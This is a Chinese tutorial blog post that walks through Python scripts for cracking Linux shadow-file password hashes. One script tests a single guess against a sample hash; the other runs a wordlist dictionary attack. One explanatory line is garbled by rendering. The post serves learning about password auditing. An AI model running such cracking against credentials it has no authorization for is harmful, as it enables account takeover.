Python 之 shadow 爆破密码脚本编写

Linux shadow 爆破脚本

Linux shadow 爆破初探

目的是为了明白其shadow爆破原理

# Linux shadow爆破初探 1

import crypt

#shadow文件中的一条用户数据
shadow_line = "ghui:$y$j9T$DQ2d2fD138oudY0Xa2wst/$dp/6WvvsTE2l50Iw1l.NvNPTIiJY6lmyB7sygyEj/S3:19618:0:99999:7:::"

print(f"[+] The shadow line is: {shadow_line}")

#  从shadow文件中提取密码密文。
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is: {crypt_text}")

# 从密码密文中,提取盐值
salt = crypt_text[0:crypt_text.rindex("$")] # rindex("$") 表示最后一次出现 $ 符的位置
print(f"[+] The salt is: {salt}")

# 从密码字典中,读取密码,假设此时读到的密码为 123456
password = "123456"

# 把读取的密码与盐值进行加密运算,得到猜测的密码密文
new_crypt_text = crypt.crypt(password,salt)

# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了。
if new_crypt_text == crypt_text:
    print(f"[+] PASSWORD FOUND: {password}")
else:
    print(f"[-] PASSWORD NOT FOUND!")

说明:

split(“:”)[1] 通过冒号:分隔符对字符串进行切片,并且取第二部分

​ **crypt_text.rindex(" " ) ∗ ∗ 函数返回子字符串 ‘ ")** 函数返回子字符串 ` ")函数返回子字符串在字符串变量crypt_text`中最后出现的位置

image-20230918174600308

Linux shadow 爆破进阶

# Linux shadow 爆破 2

from termcolor import colored
import crypt

shadow_line = "ghui:$y$j9T$DQ2d2fD138oudY0Xa2wst/$dp/6WvvsTE2l50Iw1l.NvNPTIiJY6lmyB7sygyEj/S3:19618:0:99999:7:::"

print(f"[+] The shadow line is: {shadow_line}")

#  从shadow文件中提取密码密文。
crypt_text = shadow_line.split(":")[1]
print(f"[+] The crypt text is: {crypt_text}")

# 从密码密文中,提取盐值
salt = crypt_text[0:crypt_text.rindex("$")] # rindex("$") 表示最后一次出现 $ 符的位置
print(f"[+] The salt is: {salt}")

# 从密码字典中,读取密码。
file_path="/home/kali/tools/wordlists/top_password.txt"

with open(file=file_path,mode="r") as f:
    
    for line in f:
        password = line.strip()
        print(f"\r[-] Trying password: {password}",end="")
        
# 把读取的密码与盐值进行加密运算,得到猜测的密码密文
        new_crypt_text = crypt.crypt(password,salt)

# 如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了。
        if new_crypt_text == crypt_text:
            print(colored(f"\n[+] PASSWORD FOUND: {password}","green"))
            exit()
            
    print(f"[-] PASSWORD NOT FOUND!")

说明:

strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)

image-20230918174709373

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值